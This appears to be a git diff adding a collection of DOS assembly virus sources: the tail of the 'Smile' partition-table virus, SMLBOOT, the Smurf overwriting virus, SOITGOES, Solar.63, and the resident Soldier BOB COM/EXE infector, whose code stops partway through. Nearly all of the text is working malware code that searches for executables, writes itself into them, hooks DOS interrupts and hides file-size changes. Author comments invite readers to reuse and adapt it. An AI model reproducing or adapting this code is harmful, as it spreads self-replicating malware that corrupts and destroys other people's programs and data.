55,137,230,122,108,220 + db 61,184,206,102, 62,102, 31,142,153,231,211,206,225,231,151,105 + db 246,199,241,249,143,195,246,159,147,223,142,209,251,143,227,157 + db 159, 99,207, 25,199, 24,126,143,230,120,158,113,218, 63,199,240 + db 237,142,131,159, 57,230,120,238, 63,227,152,231,142,115, 30,115 + db 140,249,230,117,227,156,251,140,227,188,119,152,241, 26, 96,206 + db 97,135, 61,199,159, 57,103,188,103, 24,241,248,115, 56,230, 6 + db 227,188,115,204,124, 31,141,193,214,115,198,119,135, 49,142, 60 + db 199, 48,115, 28,227,156,113,140,113,198, 24,198, 56,115, 26, 33 + db 205,204,131, 51, 31, 12,206, 60, 51,152, 49,206, 99,199, 51,140 + db 205,142, 60, 51,152,224,228,227,153, 49,198,198,227, 51,143, 14 + db 134, 54,118, 56,152,252, 99,227,185,207,143,198,103, 51,142,156 + db 159, 28,224,113,179,140,228,204, 39, 71,113,156,100,228,225,163 + db 137,204,158,103, 49,115, 12,193,204,199,139,204,204, 51,163, 26 + db 56,204,225,198, 27,211,120,255, 46,225,239, 31,135, 92,111, 27 + db 147,156,114,229,147,142, 49,204,103,142, 57,156,152,236, 28,131 + db 179,113,198, 32,238, 53, 15, 29,241,120,247, 62, 53, 25,158, 48 + db 11,153, 54, 15, 28,230, 28,241,220,241,206,225,175, 27,134,102 + db 103, 24,249,220,102,204,243, 51, 51,140,204,166, 51,103, 57,153 + db 147,103,104,206,121,204, 99,204,123, 60, 25, 38, 51, 98,218,123 + db 22, 70, 28,219, 44,147, 76,192,227,200, 49,205,164,219,154,102 + db 23, 54, 78, 60,218,100,216,210,100,241,228,231,201,167, 57,140 + db 54, 15,206, 51, 47, 35,136,201,153, 35,140,115,134, 58,115,102 + db 120,236,204,153,163,120,198, 51,152, 54,204,225,147,101,201, 51 + db 13,193,178, 62, 77,195, 52,207,202,204,120,193,142,108,209,227 + db 28, 97,147, 19,152, 56,227,142, 92,240,199, 30, 48,241,207, 25 + db 108,157,109,199,155, 28, 97,155, 39, 28,241,205, 30, 24,226,199 + db 28, 49,225,134, 56,229,154,108, 97,207, 62, 56,231, 14,124,200 + db 54, 76,227,156, 56,227,143, 12,104,231, 28,179,103, 60,249,227 + db 135, 28,120,227, 6, 24,115,139, 56, 56,199,134, 56,115,199, 60 + db 153,204,222,108,241,195, 30, 60, 49,199,142, 24,112,227,134,115 + db 51,155, 28,113,205,134,120,242, 99,143, 30,113,154, 44,249,231 + db 150,124,113,241,158, 25, 98,206, 92,179,231,143, 56,227,166, 12 + db 32,199, 48,105,147, 25,156,108,204, 28, 51, 39,198,153,176,224 + db 252,216,103, 30, 71,205,131, 1,204,217,145,114, 60, 62,125, 60 + db 31, 30, 76,158, 22,108,217, 25,176,204,158, 55,137,140,220,104 + db 226,204,105,241,204,201,227,204,201,227,140,203,195,156,207,199 + db 28,199,195,140,199,195,156,199,231,140,199,195,156,207,206,121 + db 159, 38, 57,153,142,121,153,156,241,145,140,241,179,153,241,178 + db 204,209,131,153,227, 38,217,205,151, 28,198,103, 59, 25, 50, 77 + db 153, 46,121,140, 39, 49,140, 51, 50,102, 76,115,198, 12, 99,156 + db 99,102,147,248,205,156,119,142,156,126, 76, 12,110, 77,152,236 + db 198, 56,102,102,120,220,243, 76,206,100,152,198, 49,153,152, 60 + db 223, 28,189, 55, 25,198, 15, 60,114, 14, 25, 51,207, 50,227, 19 + db 36, 67,223,102,199, 92,102,131, 4,100,115,126,236,214, 48,108 + db 77,191,204, 6,124,253,152, 32,255,136, 78,243,128,127,240, 59 + db 255, 0, 63,252, 15,251,192, 31,254, 3,255,192, 31,254, 3,255 + db 192, 63,252, 15,127, 0,127,240, 3, 16, 7,255,240, 32, 15,251 + +SampleEnd equ this byte + +;------------------------------------------------------------------------------ +; +; Variables +; +;------------------------------------------------------------------------------ + +Active db -1 +ActiveYear dw -1 +ActiveDate dw -1 + +OldInt8 equ this dword ; orginal interrupt 8 +OldInt8o dw -1 +OldInt8s dw -1 +OldInt1C equ this dword ; orginal interrupt 1ch +OldInt1Co dw -1 +OldInt1Cs dw -1 +OldInt21 equ this dword ; orginal interrupt 21h +OldInt21o dw -1 +OldInt21s dw -1 + +Count dw -1 ; timer count +SampleOffset dw -1 ; Used to make sound +SampleBit db -1 +SampleFlag db -1 +Handle db 24 dup(-1) ; Filehandles + +cseg ends + +;------------------------------------------------------------------------------ +; +; Orginal EXE-file +; +;------------------------------------------------------------------------------ + +mseg segment public 'code' + assume cs:mseg, ds:mseg, es:mseg + + + db 'MZ' ; header + dw PrgSize ; PartPage + dw 1 ; PageCount + dw 0 ; relocation items = 0 + dw 0 ; headersize = 0h + dw 80h ; minimum memory + dw 0ffffh ; maximum memory + dw (PrgSize+15)/10h ; ss + dw 7feh ; sp + dw 0 ; chksum + dw offset Orginal ; ip + dw 0 ; cs + dw 1ch ; offset relocation table + dw 0 ; overlay number + +Orginal: mov ah,9 ; display warning + push cs + pop ds + mov dx,offset Warning + int 21h + mov ax,4c00h + int 21h ; terminate + +Warning db 13,10 + db 'WARNING:',13,10 + db 13,10 + db 'Smile virus has now infected the partition table !!!!!',13,10 + db 13,10 + db '$' + +mseg ends + +sseg segment stack 'stack' + db 800h dup(?) +sseg ends + +end Main + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/s/SMLBOOT.ASM b/s/SMLBOOT.ASM new file mode 100755 index 0000000..c0abf63 --- /dev/null +++ b/s/SMLBOOT.ASM @@ -0,0 +1,255 @@ +; SMLBOOT.ASM -- Small Booter Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Virucidal Maniac + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + call search_files ; Find and infect a file + + call get_floppies + cmp ax,0002h ; Did the function return 2? + jl strt00 ; If less, do effect + call get_serial + cmp ax,0002h ; Did the function return 2? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,34 ; Allocate 34 bytes on stack + + mov ah,038h ; DOS get country function + lea dx,[bp - 34] ; DX points to unused buffer + int 021h + + xchg bx,ax ; AX holds the country code + + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + +end00: pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +get_floppies proc near + int 011h ; BIOS get equiment function + xor ah,ah ; Clear upper bits + mov cl,6 ; Shift AX right six bits, + shr ax,cl ; dividing it by 64 + inc ax ; Add one (at least 1 drive) + ret ; Return to caller +get_floppies endp + +get_serial proc near + int 011h ; BIOS get equiment function + xor ah,ah ; Clear upper bits + mov cl,9 ; Shift AX right nine bits + shr ax,cl ; + and ax,7 ; Clear all but two bits + ret ; Return to caller +get_serial endp + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/s/SMURF.ASM b/s/SMURF.ASM new file mode 100755 index 0000000..c39945d --- /dev/null +++ b/s/SMURF.ASM @@ -0,0 +1,69 @@ +>>> Article From Evolution #2 - YAM '92 + +Article Title: The Smurf Virus +Author: Admiral Bailey + + +;--- +; The Smurf virus [40 Bytes Long] +; +; Author : Admiral Bailey [YAM '92] +; Date : June 6 1992 +; Language : Assembly [TASM 2.0] +; +; Notes:The Smurf virus was my first attempt at writing the smallest +; overwriting virus known. For a first attempt it wasn't that +; bad. So far I have got it down to 40 bytes. The record that +; does the same as this is about 38 bytes. So I gotta loose 2 +; bytes in here somewhere. Well seeing as this small thing is +; probably the easiest virus in the world to disassemble, I have +; included the source in this issue of Evolution for all of you +; to take a look at. The source is for you to use. If you +; happend to make anything smaller using this source please just +; give recognition to myself, Admiral Bailey, saying that you got +; help looking at this source. The only thing that this does is +; find everyfile in the current directory and overwrite the 1st +; 40 bytes with itself. Then locks your computer while it is in +; a search loop looking for more file when there are none. A +; neat thing about this is that it displays its entire self to +; the screen when executed. Scan 91 notices this as the mini +; virus but I dont blame it seeing that you cant realy avoid +; scan when your virus gets this small. Well enjoy the source... +; and remember if you use it and enjoy it just let me know. +;--- +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h ;Make it a .com file + +virus_start equ $ + +start: + mov dx,offset file_type ;type of file to look for + mov ah,4eh ;Find first file command + +infect: + int 21h + mov ax,3d02h ;open again to reset handle + mov dx,80h+1eh ;moves filename into dx + int 21h + mov bx,ax ;save handle again + mov cx,virus_length ;put size of virus in cx + mov dx,100h ;where the code starts + mov ah,40h ;write to handle command + int 21h ;write virus into file + mov ah,3eh ;close handle service + int 21h ;do it + +find_next_file: + mov ah,4fh ;find next file command + jmp infect + +file_type db '*.*',0 +virus_end equ $ +virus_length = virus_end - virus_start ;length of virus + +code ends + + end start + + diff --git a/s/SOITGOES.ASM b/s/SOITGOES.ASM new file mode 100755 index 0000000..a76caa8 --- /dev/null +++ b/s/SOITGOES.ASM @@ -0,0 +1,190 @@ +; soitgoes.asm : [So it goes.] +; Created with Biological Warfare - Version 0.90 by MnemoniX + +PING equ 0AC3Ch +INFECT equ 1 + +code segment + org 100h + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + push ds es + + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + lea dx,[bp + offset new_DTA] + mov ah,1Ah + int 21h + + mov byte ptr [bp + infections],0 + + call infect_dir + + call activate + + pop es ds + mov dx,80h + mov ah,1Ah + int 21h + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + + +infect_dir: + mov ah,4Eh + lea dx,[bp + find_me] + int 21h + jc infect_done + +next_file: + lea dx,[bp + new_DTA + 1Eh] + call execute + cmp byte ptr [bp + infections],INFECT + je infect_done + mov ah,4Fh + int 21h + jnc next_file + +infect_done: + ret +execute: + push si + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + int 21h + jc cant_open + xchg bx,ax + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + lea dx,[bp + read_buffer] + int 21h + + cmp word ptr [bp + read_buffer],'ZM' + je dont_infect ; .EXE, skip + + mov al,2 ; move to end of file + call move_file_ptr + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr [bp + read_buffer + 1] + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr [bp + new_jump + 1],dx + + lea dx,[bp + read_buffer] ; save original program head + int 21h + + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + lea dx,[bp + virus_begin] + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + lea dx,[bp + new_jump] + int 21h + +fix_date_time: + pop dx cx + mov ax,5701h ; restore file date/time + int 21h + + inc byte ptr [bp + infections] + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop si + ret + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret + +activate: ; Insert your routine here + MOV CX,03h + MOV AH,09h + MOV BH,00h + MOV CX,03h + MOV AL,00h + MOV BL,23 + INT 10h + ret + +signature db '[So it goes.]',0 + + +find_me db '*.COM',0 +new_jump db 0E9h,0,0 + +infections db 0 +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +new_DTA db 128 dup(?) + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/s/SOLAR63.ASM b/s/SOLAR63.ASM new file mode 100755 index 0000000..c3833fb --- /dev/null +++ b/s/SOLAR63.ASM @@ -0,0 +1,82 @@ +Comment ;) +Solar.63 virus ... Coded by Solar Designer \ BPC '96 +Crypted Here->|sT'sw@ ;) + +.radix 16 + +.model large +.stack 200 + +.code +.186 + +DummyStart: +xor ax,ax +xor cx,cx +call VirusStarter +push ds +push 0 +retf + +org 0B1 +VirusStarter: +xor di,di + +VirusStart = $-1 +VirusSize = VirusEnd-VirusStart +VirusSeg = IntHandler-VirusStart + +mov si,offset VirusStart +push ds + +mov al,VirusSeg +mov es,ax + +mov cl,VirusSize +segcs +rep movsb +mov ds,cx +mov bl,21*4-VirusSize + +cmp ax,[di+bx] +je Installed + +xchg ax,[di+bx] +stosw +mov ax,es +xchg ax,[di+bx] +stosw + +Installed: + +pop ds +retn + +IntHandler: +pusha +push es + +mov di,dx +push ds +pop es + +mov al,ah +add al,33-40 +Search: +repne scasb +jcxz LastHandler +cmp word ptr [di],9CC0 +jne Search + +xor si,si +mov cx,VirusSize +segcs +rep movsb + +LastHandler: +pop es +popa +db 0EA +VirusEnd: + +end DummyStart diff --git a/s/SOLDIERB.ASM b/s/SOLDIERB.ASM new file mode 100755 index 0000000..5357fa4 --- /dev/null +++ b/s/SOLDIERB.ASM @@ -0,0 +1,669 @@ + .model tiny + .code + org 100h + +; I made this virus for several month ago, then I forgott it. I recently found +; it on my harddrive, and I compiled it and tried it. To my amazement it worked! +; +; Soldier BOB infects .COM and .EXE files when you execute a file. It also +; saves up to 20 files into a buffer when you use the dos-command 'DIR'. And +; later when dos is counting how much diskspace that's free Soldier BOB will +; infect all files stored into the buffer. Filesize increases are hidden. +; When Soldier BOB has been resident for four hours it will fuck-up the whole +; screen. Try this routine, it's fun to see when your screen being totally mad. +; +; I don't really know exactly what Soldier BOB does because I haven't time to +; figure out all details, but since I've brought the source code, you are free +; to investigate that by yourself. +; +; Please feel free to rip routines and ideas from this source-code. My purpose +; is that everybody (who wants to) can be able to learn how to write a decent +; virus. +; +; If you need any help to write a virus, please do not hesitate to contact +; me on Internet. +; +; - regards, Macaroni Ted / A.N.O.I - 11-27-94 + + ;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=); + ; A NEW ORDER OF INTELLIGENCE PRESENTS: ; + ; ; + ; S O L D I E R B O B ; + ; ; + ; Copyright (c) Jan-Mar 1994 by Macaroni Ted / A.N.O.I. ; + ; ; + ;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=); + +start: + call get_bp +get_bp: pop bp + + mov ax,0ff4eh ;(?N-) + int 21h + cmp ax,4f49h ;(-OI) + je already_res + + push ds es + + mov ah,2ch + int 21h + add ch,4 + mov cs:start_time,ch + + call hook_memory + + push es + pop ds + + call hook_interrupts + + pop es ds +already_res: + cmp word ptr cs:[bp+(exe_header-get_bp)],'ZM' + je exit_exe +exit_com: + lea si,[bp+(exe_header-get_bp)] + mov di,100h + cld + movsb + movsb + movsb + movsb + movsb + + xor ax,ax + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + + push cs + push 100h + retf +exit_exe: + mov ax,es ;to code seg + add ax,10h + + add ax,word ptr cs:[bp+(exe_header+16h-get_bp)] + push ax + push word ptr cs:[bp+(exe_header+14h-get_bp)] + retf + +original_int21h dd ? +original_int1Bh dd ? +original_int09h dd ? +original_int1Ch dd ? +start_time db ? + + db 'Soldier BOB - (c)jan-94 by A:N:O:I',10,13 + db 'Programmed by Macaroni Ted' + +hook_memory: + push ds + + push cs + pop ds + + mov cx,es + dec cx + mov es,cx + mov bx,word ptr es:[3h] + mov dx,virlen + mov cl,4 + shr dx,cl + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah + int 21h + +; jc exit_com + mov ah,48h + dec dx + mov bx,dx ;it's done + int 21h + +; jc exit_com + dec ax + mov es,ax + mov cx,8h + mov word ptr es:[1h],cx + sub ax,0fh + mov di,100h ;begin of virus + mov es,ax + lea si,[bp+(start-get_bp)] + mov cx,virlen ;<=== virus len + cld + repne movsb + + pop ds + ret + +hook_interrupts: ;int 21h + mov ax,3521h + int 21h + mov word ptr [original_int21h],bx + mov word ptr [original_int21h+2],es + mov ax,2521h + lea dx,new_int_21h + int 21h + + mov ax,351ch ;int 1Ch + int 21h + mov word ptr [original_int1ch],bx + mov word ptr [original_int1ch+2],es + mov ax,251ch + lea dx,new_int_1ch + int 21h + ret + +push_all: + pop cs:tmp_adr + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + jmp word ptr cs:tmp_adr + +tmp_adr dw ? + db 'Soldier BOB - Made in Sweden' +pop_all: + pop cs:tmp_adr + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp word ptr cs:tmp_adr +int21h: + pushf + call dword ptr cs:original_int21h + retn +scroll: ;input ax + push bx dx cx ax + mov dx,3D4h + push ax + and al,0Fh + mov ah,8 + xchg al,ah + out dx,ax + + pop ax + mov cl,4 + shr ax,cl + mov cx,50h + mul cx + mov cl,al + mov al,0Ch + mov dx,3D4h + out dx,ax + + mov ah,cl + inc al + out dx,ax + + pop ax cx dx bx + ret + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 21h +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_21h: + pushf + + call push_all + + mov ah,2ch + call int21h + mov cs:time_h,ch + + call pop_all + + cmp ah,4bh ;execute + je execute_file + + cmp ah,11h ;fool dir + je find__ + cmp ah,12h + je find__ + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + + cmp ah,36h ;get free space + je get_free_space + + cmp ax,0ff4eh ;mem check (?N) + je mem_check + +exit_21h: + popf + jmp dword ptr cs:original_int21h +mem_check: + mov ax,4f49h ;(OI) + popf + iret +find_: + jmp find_new +find__: + jmp find_old + +file_date dw ? +file_time dw ? +file_size1 dw ? +file_size2 dw ? +attribute dw ? + +mask_com db '*.com',0 +mask_exe db '*.exe',0 +infected_files dw 0 + + +execute_file: + call infect ;infect ds:dx + jmp exit_21h +get_free_space: + call push_all + push cs cs + pop ds es + + lea si,file_buffer +restore_buffer: + lodsb + cmp al,0ffh ;end of buffer + je done_infecting + dec si + + push si ;infect it + mov dx,si + call infect + pop si +get_eo_name: + lodsb + cmp al,0ffh + je done_infecting + or al,al + jnc get_eo_name + jmp restore_buffer + +done_infecting: + mov byte ptr cs:[file_buffer],0ffh ;clear buffer + call pop_all + jmp exit_21h + +find_old: + popf + + call int21h + cmp al,0ffh + jne push_it + jmp no_more_files +push_it: + call push_all + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + mov dx,ax + lodsb + cmp dx,'OC' ;ext=COM? + jne check_exe + cmp al,'M' + jne check_exe + jmp ext_ok +check_exe: + cmp dx,'XE' ;ext=EXE? + jne cancel_ff + cmp al,'E' + jne cancel_ff +ext_ok: +; mov si,bx +; add si,38 +; lodsw +; cmp ax,0 +; jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,14 + je infected ;already infected (sec=28) + + push cs + pop es + + lea di,file_buffer + mov cx,260 +get_end_of_buffer: + mov al,byte ptr es:[di] + cmp al,0ffh ;end of buffer? + je end_of_buffer + inc di + loop get_end_of_buffer +end_of_buffer: + cmp cx,14 + jb cancel_ff + + mov si,bx + add si,8 ;filename + + mov cx,8 +copy_filename: + lodsb + cmp al,20h + je copy_filename_klar + stosb + loop copy_filename +copy_filename_klar: + mov al,'.' + stosb + mov si,bx ;copy ext + add si,16 + movsb + movsb + movsb + mov al,0 + stosb + mov al,0ffh + stosb + + jmp cancel_ff +infected: + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,virlen + jz cancel_ff + stosw +cancel_ff: + call pop_all +no_more_files: retf 2 ;iret flags + +find_new: + popf + + call int21h + jnc more_files + retf 2 +more_files: + pushf + call push_all + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,1eh ;filename +get_ext: + lodsb + or al,al + jnz get_ext + sub si,4 + lodsw + cmp ax,'XE' + je check_E + cmp ax,'OC' + je check_M + cmp ax,'xe' + je check_e + cmp ax,'oc' + je check_m + jmp cancel_new +check_E: + lodsb + cmp al,'E' + je ext_is_ok + cmp al,'e' + je ext_is_ok + jmp cancel_new +check_M: + lodsb + cmp al,'M' + je ext_is_ok + cmp al,'m' + je ext_is_ok + jmp cancel_ff +ext_is_ok: + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,14 + je infected2 ;already infected (sec=28) + + mov dx,bx + add dx,1eh + call infect + + jmp cancel_new +infected2: + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,virlen + jz cancel_new + stosw +cancel_new: + call pop_all + popf + retf 2 + +infect: + call push_all + mov si,dx + + mov ax,4300h ;get attrib + int 21h + mov cs:attribute,cx ;save it + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + +; mov ax,6C00h ;open file +; mov bx,0010000011000010b ;read/write disable int 24h +; mov dx,0000000000010001b ;error if not found, != open +; int 21h + mov ax,3d02h + mov dx,si + int 21h + mov bx,ax + + push cs cs + pop ds es + + mov ah,57h ;get file date/time + mov al,0 + int 21h + mov file_date,dx + mov file_time,cx + + mov ah,3fh ;read (exe) header + mov cx,1ch + lea dx,exe_header + int 21h + + cmp word ptr [exe_header+12h],'IA' ;already infected(exe) + jne check_com + jmp close_file +check_com: + cmp word ptr [exe_header],'IA' ;already infected(com) + jne goto_end + jmp close_file +goto_end: + mov ax,4202h ;goto end of file + mov cx,0 + mov dx,0 + int 21h + mov file_size1,ax + mov file_size2,dx + + mov ah,40h + lea dx,start + mov cx,virlen + int 21h + + mov ax,4200h + mov cx,0 + mov dx,0 + int 21h + + cmp word ptr [exe_header],'ZM' + jne infect_com + jmp infect_exe +infect_com: + cmp file_size2,0 + jne close_file + mov ax,file_size1 + sub ax,5 + mov jmp_2,ax + + mov ah,40h + mov cx,5 + lea dx,jmp_1 + int 21h + + jmp close_file +infect_exe: + mov ax,4202h + mov dx,0 + mov cx,0 + int 21h + + mov cx,200h ;512 + div cx + inc ax + mov word ptr [exe_header+2],dx + mov word ptr [exe_header+4],ax + + mov ax,file_size1 ;old file size + mov dx,file_size2 + + mov cx,10h + div cx + sub ax,word ptr [exe_header+8h] + mov word ptr ds:[exe_header+16h],ax + mov word ptr ds:[exe_header+14h],dx + + mov word ptr [exe_header+12h],'IA' + + mov ax,4200h + mov dx,0 + mov cx,0 + int 21h + + mov ah,40h ;write exe header + mov cx,1Ch + lea dx,exe_header + int 21h +close_file: + mov dx,file_date + mov cx,file_time + and cl,11100000b + or cl,00001110b ;secs = 28 + + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh ;close file + int 21h + + call pop_all + call push_all ;restore filename + + mov ax,4301h ;set attrib original attrib + mov cx,cs:attribute + int 21h + + call pop_all + ret + +exe_header db 41h,49h,90h,0cdh,20h ;5 first bytes + db 1Ch-5 dup(0) ;28 + +jmp_1 db 41h,49h ;inc cx, dec cx + db 0e9h ;jmp +jmp_2 dw ? ;xxxx + + +file_buffer db 0ffh,259 dup(0) ;20 filename 12345678.123,0 + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 1Bh +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_1Bh: +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 09h +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_09h: +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 1Ch +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_1Ch: + call push_all + + mov al,cs:start_time + cmp al,cs:time_h + jne exit_1ch + jmp rave_it +exit_1Ch: + call pop_all + jmp dword ptr cs:original_int1Ch + +time_h db 0 + +scroll_pos dw 32 ;bx +do_inc dw 0 